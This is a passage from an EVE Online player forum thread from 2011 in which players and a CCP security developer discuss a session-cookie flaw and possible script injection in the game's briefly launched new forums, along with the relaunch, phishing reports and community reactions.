I think this is quite a unique opportunity for CCP and especially you: We have quite a case of "Derp" (if I may borrow your title) and people are looking at you, asking "How do we handle this in the future?". Don't assume everyone's out to prove you wrong, but maybe try to see this as a chance to create a set of rules for approaching situations like these.
I'm sure it's not an easy process at all and I'm also sure some other work you should be doing right now is not getting done. But eventually this will/can lead to "CCP Sreegs said this is wrong - so it is!" and the more things you/we can get down to easy to understand/follow rules the easier it will become for everyone. (No, I'm not saying please explain "That's the line." in simple terms for me again right now)
In general I really couldn't understand your original post so I guessed at its meaning.
I'm well aware of the opportunity for improvement and have even alluded to it in my blog and in subsequent postings. It's a healthy part of any incident response to determine what caused the failure and identify steps to improve the process. Sorry for the misunderstanding. |
|
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.12 16:34:00 -
[197]
Originally by: Super Whopper Sreegs, thank you very much for engaging the community like this. While I am usually (rightly) negative about CCP, I'd like to commend you for taking the time to respond to all these concerns. Also you are to be commended for trying to explain, albeit in basic details, how the flaw worked and the security of the new forums.
I would like to know whether the new forums allow the scaling of frames to fit all resolutions or whether they've been designed to fit 1280x1024 only.
I read forums on a 1280x1024 monitor, and I can say with confidence that they're actually designed for 1024x768.
Originally by: Qordel Having the server verify it isn't enough, either. That would still be a sloppy solution. The real solution that they should have deployed (and which is pretty much Cookies/sessions-101) would be that the cookie should have contained NOTHING except a single salted hash key, so that even someone looking at the cookie would have no idea what data it contains. Not even the username or UID that it is regarding.
Then it's dead simple to match that hash key against the database of non-expired sessions and get any data you could possibly require on the server side.
I could see someone like myself who doesn't do webdev for a living making a mistake like that. Ignorance and all, you know (though almost any reference to how to handle sessions on the internet should explain it to a newbie). Professional web developers, however, should never ever make that mistake. That shoudn't be an after-release "oops". That should be a fundamental flaw that doesn't make it past the rough white-board sketch.
Webdev isn't my thing either, so I don't know what really good security looks like. But I'm pretty sure that if the lastSelectedCharacter thing was limited to picking between the characters on the account you're logged in as, it wouldn't be a serious vulnerability, even if it was suboptimal.
Originally by: mazzilliu the fact that i'm not banned does say something.
That CCP is deaf, dumb, and blind?
|
Infinion
Caldari Awesome Corp
|
Posted - 2011.04.12 17:05:00 -
[198]
Hey CCP Sreegs, is [email protected] specifically meant to report possible vulnerabilities or can it be used to offer suggestions to improve security?
I'm not sure which devs look at features and ideas so I wanted to know what the best medium would be to best communicate suggestions, be it the CSM, features and ideas, general discussion or [email protected].
|
|
CCP Sreegs
|
Posted - 2011.04.12 17:12:00 -
[199]
Originally by: Infinion Hey CCP Sreegs, is [email protected] specifically meant to report possible vulnerabilities or can it be used to offer suggestions to improve security?
I'm not sure which devs look at features and ideas so I wanted to know what the best medium would be to best communicate suggestions, be it the CSM, features and ideas, general discussion or [email protected].
The email goes to me, and at the moment security stuff is probably best channeled that way. |
|
El'Niaga
Minmatar Republic Military School
|
Posted - 2011.04.12 17:42:00 -
[200]
I sincerely hope they've taken this whole thing back to the drawing board. I don't believe folks will trust them if they are put up in the next week or month. Delayed launch of the new forums for probably at least 6 months should be expected.
Hopefully they rigorously test the new forums before they are ever up again.
I'd like to say something about them in the time they were up. They were less functional than the existing forums. They needed a lot of work and honestly I'd drop the like feature that's just going to lead to more troll posting as it does in every forum that uses it just to run up perceived status.
I had posted some mostly in features and ideas, but honestly looking at them I could see spending a lot less time on them and posting than I have in the past. Perhaps a good use for the CSM might be to get their ideas on the forums before they are put up for general use again.
|
|
darius mclever
|
Posted - 2011.04.12 17:50:00 -
[201]
Originally by: Bargealta McSpacebuxx So are you going to post how the exploit worked after it's fixed for the curious, or no?
Originally by: DTson Gauur You're using a GPL'd (GPLv2 license actually) software, so have you guys actually read the license and understand what it means?
Pretty sure GPLv2 still has that web service loophole that basically lets you ignore it for web-hosted apps.
thats why you use Affero GPL if you want to get all modifications ;)
|
Tipsy
Gallente X-Factor Industries Synthetic Existence
|
Posted - 2011.04.12 18:04:00 -
[202]
What worries me is the potential that someone could insert and style an HTML form demanding a username and password and appear to run a phishing scam on a trusted website. Can we have a specific response on this point, at least as part of whatever report there is after the investigation?
Originally by: CCP Sreegs Even were someone able to have injected script the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine rather than some window into our secure environment.
I think this was meant to be reassuring, but at the point where a trusted website is offering a keylogger for download we're about two badly-judged clicks away from handing over our usernames, passwords and credit card details. Once that's happened, someone emptying my in-game account of ISK is far from my biggest concern.
For what it's worth, braving the flames and appearing to be forthcoming on this like you are will help CCP to retain the confidence of the community. I hope CCP as a whole will (rather belatedly) adopt this approach - it would've saved them a lot of pain in the past.
Originally by: Qordel If there's one thing the EVE community does well, it's let bygones be bygones and get over perceived failures and slights. I'm sure this won't be an event that gets dragged out every day for the next six years. :)
-- Tipsy XFI Chief of Staff |
Ranger 1
Amarr Paragon Fury Cascade Imminent
|
Posted - 2011.04.12 18:09:00 -
[203]
Originally by: El'Niaga I sincerely hope they've taken this whole thing back to the drawing board. I don't believe folks will trust them if they are put up in the next week or month. Delayed launch of the new forums for probably at least 6 months should be expected.
Hopefully they rigorously test the new forums before they are ever up again.
I'd like to say something about them in the time they were up. They were less functional than the existing forums. They needed a lot of work and honestly I'd drop the like feature that's just going to lead to more troll posting as it does in every forum that uses it just to run up perceived status.
I had posted some mostly in features and ideas, but honestly looking at them I could see spending a lot less time on them and posting than I have in the past. Perhaps a good use for the CSM might be to get their ideas on the forums before they are put up for general use again.
I would say the time frame for a re-launch should be determined by when the bugs are fixed and tested properly, not based on an arbitrary length of "time to heal from this traumatic (dramatic?) experience". I say this in an attempt to be realistic, despite the fact that these horrific events have left me an emotionally scarred shell of my former self.
===== The world will not end in 2012, however there will be a serious nerf to Planetary Interaction. |
War Kitten
Panda McLegion
|
Posted - 2011.04.12 18:24:00 -
[204]
Originally by: Mag's
That being said, one person did petition the issue at hand with details. The forum was taken down, only for it to go back up again, in the same sorry state. It was only a post from said banned person after this, that meant the forums were taken down again. Although he did break rules, it was in your best interest that he did.
Does this make it right, well no.
At least you understand that part - he did it wrong.
You don't point out that the Emperor's New Clothes are a fraud by shooting the emperor.
It may be the most direct method, but it wasn't the right one. He's not a hero, he's just impatient. |
Spyke BlackIce
Minmatar
|
Posted - 2011.04.12 18:37:00 -
[205]
Well written blog CCP Sreegs, and the way you've been handling the responses here is admirable to put it mildly. Hopefully, your attention to this will set a precedence for the rest of CCP. Kudos to you.
What I find disturbing is that no one else involved in this fiasco (and I'm referring to the new forums as a whole here, not just the security issues) has so much as uttered a peep here or anywhere else. The person responsible for heading the webteam, the person responsible for overseeing the new forums' development and deployment, and especially, the person or persons in upper management who set and drove the timeline and deadline for the forums are all apparently content to sit back and let you take the flak that is rightfully theirs to take. The longer they hide behind you without comment, the worse it makes them look.
Since this thread is directly related to the security issues, I won't go into the overall mess that the forums were/are (a reskinned YAF forum with half of the features disabled and even using the basic editor instead of taking the time to install a more robust, freely available editor, not to mention the total disregard of the user feedback from the two public test runs). Instead, I'd like to know how a web team could make such a glaring mistake as to allow cookies with plain text IDs. As has been asked here in this thread, how in hell did that make it past the whiteboard, let alone past the actual coding, the third-party testing, and the internal audit (if it did in fact actually occur)?
I'm no code cruncher by any stretch of the imagination, but I have looked at my share of cookies and almost never is there any readable text in them let alone a user's ID. This just simply, flat out, should never have happened and is totally unacceptable no matter what the excuse. It just boggles the mind that it did happen. Is the web team made up of certifiable web developers or was the team for the forums patched together from members of other teams with specialties in other fields and a smattering of web development knowledge? If the former, they have lied about their credentials (or cheated to get them). If the latter, the person who was responsible for putting the team together in that manner needs to be replaced pronto.
There. I've let off my share of the steam and did my share of the whining. CCP Sreegs, keep up the good work. For what it's worth (which probably isn't much admittedly) your blog and your replies in this thread has moved you to the top layer of CCP employees whom I deem trustworthy at this point in time, and that list unfortunately is getting pretty dammed short. Blog: Mortal Immortals - Pods & Footprints in the Dust Twitter: @Spyke_BlackIce (#TweetFleet) Facebook: facebook.com/spyke.blackice |
JitaPriceChecker2
|
Posted - 2011.04.12 18:40:00 -
[206]
We didnt want new forums anyway !!!
Seriosuly they sucked.
|
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.12 19:00:00 -
[207]
Originally by: JitaPriceChecker2 We didnt want new forums anyway !!!
Seriosuly they sucked.
But not as much as these ones. Srsly CCP, just buy a vBulletin license.
|
Duvida
Gallente The Scope
|
Posted - 2011.04.12 19:06:00 -
[208]
I'll also give props to CCP Sreegs for maintaining a dialogue with the forum users/playerbase. The trolling hasn't been too bad, but I'm sorry you had to deal with what there has been.
Something occurred to me as I was reading this, was that a LOT of player attention is now on this thread. Some rather constructive player/staff dialogue has happened here, which hopefully will be useful to CCP and if continued and results in substance, can rebuild trust in the playerbase. CCP Sreegs, by weathering some of this storm with us, you've actually laid some good ground here for other team members to come into the forum and get a more civilized dialogue as well. For example, CCP Hillmar might take more of a chance to post and then, followup on the responses, now that the 'forum trolling' has been presented as the unconstructive waste of time and potential game-worsener that it can be. It may be useful.
Anyway, fly safe! Learning... |
Mag's
the united Negative Ten.
|
Posted - 2011.04.12 19:08:00 -
[209]
Originally by: War Kitten
Originally by: Mag's
That being said, one person did petition the issue at hand with details. The forum was taken down, only for it to go back up again, in the same sorry state. It was only a post from said banned person after this, that meant the forums were taken down again. Although he did break rules, it was in your best interest that he did.
Does this make it right, well no.
At least you understand that part - he did it wrong.
You don't point out that the Emperor's New Clothes are a fraud by shooting the emperor.
It may be the most direct method, but it wasn't the right one. He's not a hero, he's just impatient.
Indeed, I think he did step over the line in certain areas and could have maybe approached the whole thing a little more carefully. I've never once called him a hero, you missed my point with your bad analogy. But he was willing to burn his bridges and that was his choice, no matter how we feel about it.
People had been using as many forms of communication they had available, all to get the message across. Helicity Boson can attest to that. But even in this situation, CCP didn't take on board all the issues at hand. seemingly desperate to rush out the forums again, after messing with them a little.
It will be interesting to see if this was indeed bug reported/petitioned in the first and second round of testing.
Originally by: Allestin Villimar Also, if your bookmarks are too far out, they can and will ban you for it.
Originally by: Torothanax Low population in w systems makes afk cloaking unattractive. |
Cyaxares II
|
Posted - 2011.04.12 20:07:00 -
[210]
Originally by: War Kitten He's not a hero, he's just impatient.
just take care you don't confuse a hero with an hero...
|
|
Kern Hotha
|
Posted - 2011.04.12 20:11:00 -
[211]
CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks. --- Realize that we are dealing with a company that values quantity over quality.
|
JitaBUGz TheGreat
|
Posted - 2011.04.12 20:17:00 -
[212]
Originally by: Natalia Kovac Thanks Sreegs, that was a good blog. Yes the forum security was apparently terrible, but it's done now, and you have owned up and apologised.
What matters now is that we move forward, and you move forward, sort out the security issues, and this is important- listen to the community testing that was done and may be done in the future. Take as long as you need to test the system to destruction, and don't release the forums for general use as long as you are as absolutely certain as you can be that they are secure.
Cheers.
yup yup
And cant wait for the re-launch of the new forums!!
|
Jenna Alduin
|
Posted - 2011.04.12 20:21:00 -
[213]
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
QFT.
o7
|
Nai Sethanas
|
Posted - 2011.04.12 21:00:00 -
[214]
Quote: Playing loose with security-related functionality puts both CCP and you at risk and that is completely unacceptable. This episode should never have occurred and despite being rather humiliating if we're to look on the bright side it did teach us some rather poignant lessons from which we'll be drawing in the coming days and weeks.
^ Respect for finally getting a "confession" of sorts, But this was a terrible screwup, many users will never know just how at risk they actually were in all this, I would be embarrassed enough to die had I pushed out something so incredibly flawed.
But hey, if CCP can learn from this and end up being better in the end then at least they'll have proved that they can improve which is already more than can be said for some other game developers.
Glad things didn't get too dangerous,
PS: Anyone who was on the forums that day might consider changing their passwords, not to be alarmist or anything but you can never be "too safe" am I right? It's good practice to change PWs every few months anyways (I know.. not a tempting thought) so why not profit from this situation to give yourselves a kick in the rear and change those over-used PWs to something really secure.
|
Kaahles
Deliverers of Pain
|
Posted - 2011.04.12 21:01:00 -
[215]
Originally by: Jenna Alduin
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
QFT.
o7
This
I mean seriously you're all familiar with murphy's law. It can strike anybody anywhere. It shouldn't but it still does. Even with the most vigorous QA team something always slips through the cracks. Okay to be honest this one was as huge as the Grand Canyon obviously but the really important thing is that the canyon get's sealed of so that nobody falls down those particular cliffs again.
Can we now go back to pewpew related stuff in the game plz? I need targets ----------------------------- OMG THE SKY IS FALLING! Contract me all your stuff so I can save it! |
Lubomir Penev
Dark Nexxus S I L E N T.
|
Posted - 2011.04.12 21:03:00 -
[216]
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
You're embarrassing yourself. Is it so hard if you don't know what an iframe is (which in itself mean you have no right to pipe up on web security) to look it up?
|
Lubomir Penev
Dark Nexxus S I L E N T.
|
Posted - 2011.04.12 21:20:00 -
[217]
Originally by: Ranger 1
I would say the time frame for a re-launch should be determined by when the bugs are fixed and tested properly, not based on an arbitrary length of "time to heal from this traumatic (dramatic?) experience".
The word you were looking for was "hilarious".
|
Che Biko
Humanitarian Communists
|
Posted - 2011.04.12 21:48:00 -
[218]
First, Sreegs, if you thought that doing another scan and password change would be a good idea 'just in case' than I would have liked to know that earlier (say, in a MOTD).
I'll go a tat off-topic now. I send some mails to security a while ago about some mails I suspected of being phishy. I got no response to that, not even a short "you are mistaken." or a "Yikes, lotsa ansjophish!" Is there a better way to find out out if these mails were legit or not?
|
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.12 22:35:00 -
[219]
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
You know he used to run Goonswarm, right? Having to deal with the Eve playerbase as a whole is his reward.
|
Servilia Junii
|
Posted - 2011.04.12 22:45:00 -
[220]
I love this dev! First one in a good clip to give real feedback to the forum warriors of eve.
<3 CCP Sreegs
|
|
Hel O'Ween
Men On A Mission
|
Posted - 2011.04.12 23:44:00 -
[221]
Originally by: War Kitten
He's not a hero, he's just impatient.
When it comes to security, impatience is a virtue. The faster the issue is dealt with, the better.
Instead of CCP sensibly acting and taking down the forum and deeply investigate the issue (as they do now), they made a business decision (at least that's how it looks like to me): "We need a forum, but we locked the old forums, we hurrayed the new ones, so bring the new one up as fast as possible."
And while CCP Screegs does his best to damage control the whole issue, I personaly don't accept the apology in his blog. You know, that's econ 101: "Words are cheap, apologize often and in public - and keep your earned profits. ".
I'd say put your money were your mouth is. And no, I'm not talking about free SP or game time for all. Donate a recognizable amount to a charitable cause to show you're really sorry about this terrible case. -- EVEWalletAware - an offline wallet manager |
|
CCP Sreegs
|
Posted - 2011.04.13 00:03:00 -
[222]
Originally by: Che Biko First, Sreegs, if you thought that doing another scan and password change would be a good idea 'just in case' than I would have liked to know that earlier (say, in a MOTD).
I'll go a tat off-topic now. I send some mails to security a while ago about some mails I suspected of being phishy. I got no response to that, not even a short "you are mistaken." or a "Yikes, lotsa ansjophish!" Is there a better way to find out out if these mails were legit or not?
Unfortunately I get so many phishing related emails that I simply shut the sites down and I can't reply to everyone. They probably were phishing emails and I probably had the site removed from the internet. Sorry I can't respond to them all. |
|
Ebbytingizotay
|
Posted - 2011.04.13 01:14:00 -
[223]
Originally by: Herschel Yamamoto
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
You know he used to run Goonswarm, right? Having to deal with the Eve playerbase as a whole is his reward.
Annndddd.... that little fact does not worry anyone?
|
Yuki Kulotsuki
|
Posted - 2011.04.13 01:47:00 -
[224]
Originally by: Ebbytingizotay Annndddd.... that little fact does not worry anyone?
Not any more than CCP Soundwave being a former goon director in charge of spying. -- Did you know there's an alliance who's name you're not allowed to say, or website you're not allowed to link? |
Ambein Flambein
352 Industries
|
Posted - 2011.04.13 02:10:00 -
[225]
Originally by: Ebbytingizotay
Originally by: Herschel Yamamoto
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
You know he used to run Goonswarm, right? Having to deal with the Eve playerbase as a whole is his reward.
Annndddd.... that little fact does not worry anyone?
did oyu not get the memo that said goosn have giving up on ingame spying, and are jsut going to infiltrate ccp instead. the 3 goons on the csm are there to get progress reports which will be covered under the nda, so they can deny they took place and get away with it. its all part of thier plan to take over eve. they are just doing it directly now
i for one welcome our new goon dev overloards
sreegs, keep up the good work ______________________________________________
Sig is Broken |
|
CCP Sreegs
|
Posted - 2011.04.13 02:29:00 -
[226]
Originally by: Lubomir Penev
Originally by: Kepakh
Originally by: Kristina Vanszar Standard HTML element, which is showing you ANOTHER website
See: iFrame
The script wouldn't be on the Forum, it would be hosted by another website, and therefore executed. but it would look like it is on the forums.
Whatever you inject into a frame still needs to be processed at CCP web server and CCP Sreegs clearly said that no script will pass nor there is any evidence anyone has achieved that.
You're embarrassing yourself. Is it so hard if you don't know what an iframe is (which in itself mean you have no right to pipe up on web security) to look it up?
As I said Iframes were filtered. |
|
Ebbytingizotay
|
Posted - 2011.04.13 02:30:00 -
[227]
Glad you cleared that up. I was aware of the GSM just voted in (Goon Stellar Management for the unaware) but thought the ex-goon in charge of security was over the top.
Ebbytingizotay!!!!
|
Thaylon Sen
The Boondock Saints The 0rphanage
|
Posted - 2011.04.13 04:01:00 -
[228]
I have to say CCP Sreegs is doing an awesome job of dealing with the community and providing clear, objective, and to the point feed back. +1 Internets to u sir o7
|
Herschel Yamamoto
Agent-Orange Nabaal Syndicate
|
Posted - 2011.04.13 04:40:00 -
[229]
Originally by: Ebbytingizotay
Originally by: Herschel Yamamoto
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
You know he used to run Goonswarm, right? Having to deal with the Eve playerbase as a whole is his reward.
Annndddd.... that little fact does not worry anyone?
Why would it? He's got experience at organizing a group of highly-educated professionals who act pants-on-head all the time into a cohesive and effective group. Sounds like he's better-qualified to work at CCP than half of the management.
|
Ambein Flambein
352 Industries
|
Posted - 2011.04.13 05:19:00 -
[230]
Originally by: Herschel Yamamoto
Originally by: Ebbytingizotay
Originally by: Herschel Yamamoto
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
You know he used to run Goonswarm, right? Having to deal with the Eve playerbase as a whole is his reward.
Annndddd.... that little fact does not worry anyone?
Why would it? He's got experience at organizing a group of highly-educated professionals who act pants-on-head all the time into a cohesive and effective group. Sounds like he's better-qualified to work at CCP than half of the management.
plus as a former goon he clearly has the thick skin required to interact with the eve player base. his posting is surprisingly non goon-like though ______________________________________________
Sig is Broken |
|
Makko Gray
Nexus Aerospace Corporation
|
Posted - 2011.04.13 06:08:00 -
[231]
Originally by: CCP Sreegs
Originally by: Makko Gray I find it interesting that HTML could be injected into a signature but not script and really hope you do not look at the use of the script tag as the only indicator of script injection as it can also occur on HTML attributes and through various encoding techniques (some browser specific).
There are some good XSS cheat sheets you can check against for testing cross site scripting vectors such as this one: http://ha.ckers.org/xss.html
Also .NET & C# rocks as long as you know what your doing (ASP.NET WebForms is a bit sucky though).
In essence there was only an allowed subset of HTML rather than a disallowed subset.
We're aware of this website and I've used it myself in the past. Thanks for the tip though!
Great stuff, good to know. White listing rather than black listing is definately the safest and most cautious way to go but still can be tricky doing checks on attributes like src if your using image tags for example.
Fortunately Microsoft do provide some great open source libraries to help those on a deadline such as the Web Protection Library which contains the AntiXSS: http://wpl.codeplex.com/
Hope things get better for you. As a developer working primarily in .NET myself would love a blog or post detailing some of the technical stuff and underlying architecture when things calm down.
|
Smagd
Encina Technologies Namtz' aar K'in
|
Posted - 2011.04.13 08:44:00 -
[232]
Originally by: Jenna Alduin
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
QFT.
o7
No kidding. That's some quality community work right there.
|
Helicity Boson
Amarr The Python Cartel. The Defenders of Pen Island
|
Posted - 2011.04.13 10:07:00 -
[233]
Originally by: Smagd
Originally by: Jenna Alduin
Originally by: Kern Hotha CCP Sreegs should receive a medal for patiently dealing with a bleating mob of self-righteous pricks.
QFT.
o7
No kidding. That's some quality community work right there.
He even made me slightly less furious (I am now merely outraged).
No small feat.
|
Lederstrumpf
|
Posted - 2011.04.13 16:01:00 -
[234]
Originally by: CCP Zymurgist As many of you know we had to temporarily take down the new forums due to some security issues.
Oh! I was mistaken in thinking you took it down because it just sucked in regards to being usable!
So you didn't only deliver crap, but you in fact did deliver total crap including security holes?
Way to excellence, CCP!
|
Lederstrumpf
|
Posted - 2011.04.13 16:07:00 -
[235]
Originally by: Kaahles Even with the most vigorous QA team something always slips through the cracks.
That's a basic lesson yet to be learned by CCP. Only amateurs do schedule major version/functionality shifts right before weekends...
|
Lederstrumpf
|
Posted - 2011.04.13 16:16:00 -
[236]
Originally by: Akita T WHY
There's only one possible answer: Because they can.
Quasi monopoly status in this game segment with people obviously not required to honor every single dollar anymore...
|
Crazy Dave
Caldari SCAVENGERS
|
Posted - 2011.04.13 16:36:00 -
[237]
The nerve of those evil doers. Hunt them down and keel haul them. Then drop kick them out the nearest airlock and tell them to hold their breath. Be the kind of man that when your feet hit the floor each morning, the devil says " Oh crap, he's up!" |
Experiment H197
|
Posted - 2011.04.13 17:51:00 -
[238]
Just wanted to say thanks for posting the dev blog. I knew something was up when the old forum was back. It feels good to know that you all acknowledge having a more tech savvy user base and didn't just spoon feed us some vague crap. Kudos. ---------------------------------------------------------------- "We are aware and operating at full capacity." - Experiment H197 |
Siiee
Recycled Heroes
|
Posted - 2011.04.13 20:31:00 -
[239]
Originally by: Lederstrumpf
That's a basic lesson yet to be learned by CCP. Only amateurs do schedule major version/functionality shifts right before weekends...
That's another part of the funny bit, it was scheduled to be released Wednesday, but was delayed There must have been a typo in one of the pages somewhere to warrant a 2 day delay, given how much this web team seems to get done.
|
Bomberlocks
Minmatar CTRL-Q
|
Posted - 2011.04.13 20:53:00 -
[240]
@CCP Sreegs: Thanks a lot for this blog and your replies. It is really refreshing to have someone at CCP actually talk to us instead of delivering some patronising blog trying to make light of a serious subject with poor humour. I think it is obvious that a fair amount of the rage over this issue is justified, but also enhanced because of the continuing frustrations players feel in trying to get a response from CCP over their concerns.
I was also concerned that the blog was attempting to brush off client side security as being outside CCP's remit, but I see from your clarification that you were discussing this from a security standpoint.
However, there is one point where we will have to agree to disagree it seems: the ability to inject scripts. From posts on SHC's successor site, FHC and from what I saw of the forums before they were taken down, it was indeed possible to inject scripts using jquery. The ability of a script with html and css to forge a log in might have been possible, but it seems it would have been possible to collect login keystrokes by rebinding eventlisteners via jquery. Such a script would have had a number of opportunities to pass that information across to another domain, even with modern browsers, and would not have had to rely on the by now fairly well known iframe.
The reason that I am again raising this issue is that anyone with access to someone's forum account would have had automatic access to that person's user account. While this would not have given access to their credit card, it would have been a field day for phishers and RMT'ers.
I urge you to make sure that this is very carefully audited in any future iteration of the new forums. Finally, although is not your remit (area) to be responsible for the usability of the new forums, the fact that you are about the only person from CCP speaking to the players on a regular basis might make you a target for user anger if the new forums surface again with the same shoddy lack of attention to detail and lack of response to players wishes and concerns. It might be in your own vested interests to raise an internal "sh*t storm" if that happens.
BTW, off topic, props to your anti-botting efforts. It looks there is definitely something happening there.
|
|
|
CCP Sreegs
|
Posted - 2011.04.13 22:11:00 -
[241]
Originally by: Bomberlocks @CCP Sreegs: Thanks a lot for this blog and your replies. It is really refreshing to have someone at CCP actually talk to us instead of delivering some patronising blog trying to make light of a serious subject with poor humour. I think it is obvious that a fair amount of the rage over this issue is justified, but also enhanced because of the continuing frustrations players feel in trying to get a response from CCP over their concerns.
I was also concerned that the blog was attempting to brush off client side security as being outside CCP's remit, but I see from your clarification that you were discussing this from a security standpoint.
However, there is one point where we will have to agree to disagree it seems: the ability to inject scripts. From posts on SHC's successor site, FHC and from what I saw of the forums before they were taken down, it was indeed possible to inject scripts using jquery. The ability of a script with html and css to forge a log in might have been possible, but it seems it would have been possible to collect login keystrokes by rebinding eventlisteners via jquery. Such a script would have had a number of opportunities to pass that information across to another domain, even with modern browsers, and would not have had to rely on the by now fairly well known iframe.
The reason that I am again raising this issue is that anyone with access to someone's forum account would have had automatic access to that person's user account. While this would not have given access to their credit card, it would have been a field day for phishers and RMT'ers.
I urge you to make sure that this is very carefully audited in any future iteration of the new forums. Finally, although is not your remit (area) to be responsible for the usability of the new forums, the fact that you are about the only person from CCP speaking to the players on a regular basis might make you a target for user anger if the new forums surface again with the same shoddy lack of attention to detail and lack of response to players wishes and concerns. It might be in your own vested interests to raise an internal "sh*t storm" if that happens.
BTW, off topic, props to your anti-botting efforts. It looks there is definitely something happening there.
Thanks dude. Given the state that the forums were in I'm not dismissing completely the possibility of exploitable conditions that we are not yet aware of. What I am saying is that thus far, in every single instance where we've been given a solid example of where people felt script could be executed, it has not been possible. If anyone has any evidence to the contrary I'd really like to hear from them. |
|
Bomberlocks
Minmatar CTRL-Q
|
Posted - 2011.04.13 23:01:00 -
[242]
Originally by: CCP Sreegs ....
Thanks dude. Given the state that the forums were in I'm not dismissing completely the possibility of exploitable conditions that we are not yet aware of. What I am saying is that thus far, in every single instance where we've been given a solid example of where people felt script could be executed, it has not been possible. If anyone has any evidence to the contrary I'd really like to hear from them.
Personally, I didn't have enough time to look at them in enough detail before they went down, I was just starting to look at them some 20 minutes or so before they went down. This is a highly irregular suggestion, but crowd sourcing via a clean copy with dummy accounts might help there. It might also be an idea for any new forum that comes up.
|
Che Biko
Humanitarian Communists
|
Posted - 2011.04.14 02:12:00 -
[243]
Well, I guess when I ask slightly off-topic questions, I deserve to get slightly off-topic answers , but in case you feel like answering this, I post it again anyway.
Originally by: CCP Sreegs Unfortunately I get so many phishing related emails that I simply shut the sites down and I can't reply to everyone. They probably were phishing emails and I probably had the site removed from the internet. Sorry I can't respond to them all.
I thought this would be the case, however you did not answer if there is a (better) way to find out if those mails were indeed phishy, like a petition or a mail to customer support (after I send them to you, of course). Especially in cases when the mail is legit, I would like to be told how I could tell it was legit.
I did not see the ones I send you listed in this thread. Is that any indication, or is that thread not updated with each and every phising mail shortly after it was send?
|
Liandra Xi
Amarr The New Era C0NVICTED
|
Posted - 2011.04.14 03:14:00 -
[244]
First of all I'm really glad I didn't visit the forums while the completely unsecure "new" forums were actually up.
Second the dev blog does nothing to address the question of why these issues were raised during the beta test of the new forums, but CCP *ignored* those warnings and still put the system live with all inherent faults present, and only took it down 30 hours later after untold damage could have been caused.
Frankly I expect to hear who has been fired from CCP for this epic f**k up, as you say yourself it is completely unnaceptable for this to have ever happened, but then thats a line im used to hearing from CCP by now. How many times is enough to admit you have serious defficiences in your internal processes that can't be fixed by 1 person writing a dev blog to try and pacify the playerbase yet again.
Still considering you seem to have taken advice from HBGary in the past on security issues maybe I shouldn't be that surprised that you are so bad at it. (google it if you want to find what im talking about).
|
|
CCP Sreegs
|
Posted - 2011.04.14 03:50:00 -
[245]
Originally by: Liandra Xi First of all I'm really glad I didn't visit the forums while the completely unsecure "new" forums were actually up.
Second the dev blog does nothing to address the question of why these issues were raised during the beta test of the new forums, but CCP *ignored* those warnings and still put the system live with all inherent faults present, and only took it down 30 hours later after untold damage could have been caused.
Frankly I expect to hear who has been fired from CCP for this epic f**k up, as you say yourself it is completely unnaceptable for this to have ever happened, but then thats a line im used to hearing from CCP by now. How many times is enough to admit you have serious defficiences in your internal processes that can't be fixed by 1 person writing a dev blog to try and pacify the playerbase yet again.
Still considering you seem to have taken advice from HBGary in the past on security issues maybe I shouldn't be that surprised that you are so bad at it. (google it if you want to find what im talking about).
As I had thought I'd explained... The dev blog is not meant to address those issues. The dev blog addresses our findings in the response phase. After that comes the internal investigation into process and as a part of that would be what, if anything, was reported beforehand by both players and internal staff. You have to first establish IF there was anything to be ignored. We don't just get to decide these things. They require actual investigation and actual evidence. If you're aware of some reports that I'm not I'd welcome you to share them with me.
Frankly, people's employment status is a private matter and will remain that way.
We have never taken security advice from HBGary. You'd know that if you read the emails.
All in all there's plenty that went wrong to talk about without having to invent things. Let's stick to that. |
|
Londo Cebb
Official Market Discussions Troll
|
Posted - 2011.04.14 08:53:00 -
[246]
I have a quick question.
I have always had signatures turned off on this forum. I did not spend enough time exploring the new forums to know if it was possible to turn them off.
So my question is:
Was or will there be an option to disable signatures on the new forums?
Also if that option exists, will the default setting be "signatures disabled"?
|
Qoi
Exert Force
|
Posted - 2011.04.14 10:17:00 -
[247]
Originally by: Londo Cebb
Also if that option exists, will the default setting be "signatures disabled"?
This appear to be the default settings
|
Lusulpher
Sinister Elite
|
Posted - 2011.04.14 10:27:00 -
[248]
Edited by: Lusulpher on 14/04/2011 10:28:54 Saturday Apr. 11th, 2011, before work, about 30mins after laughing through the Catari thread, and watching SHC poster sacul name this "eve-gate Gate".[SHC was also deleted later, all mine base]
I subtly named this new CCP incident Boot.ini 2.0 or "cookie-derp".
I hold in my hand, the copyright for that term. And I would like to trade it for +1 Internet from CCP, or a certain Jovian spacecraft.[maybe even unbanning political exile Catari]
I am very cereal...
Look ma! I'm e-famous! \/
-Creative Customer Person[manual sig entry, you people just don't learn] Creative Customer Person 7 |
Majid Al'Amarr
|
Posted - 2011.04.14 11:38:00 -
[249]
Can I suggest that folks use Google and type security issues then add any service delivered by the internet or with access to said. I honestly feel a touch of perspective is required here forum warriors.
|
ArsMalus Mortis
Caldari Guns Rocks and Probes Reverberation Project
|
Posted - 2011.04.14 12:00:00 -
[250]
Edited by: ArsMalus Mortis on 14/04/2011 12:01:24
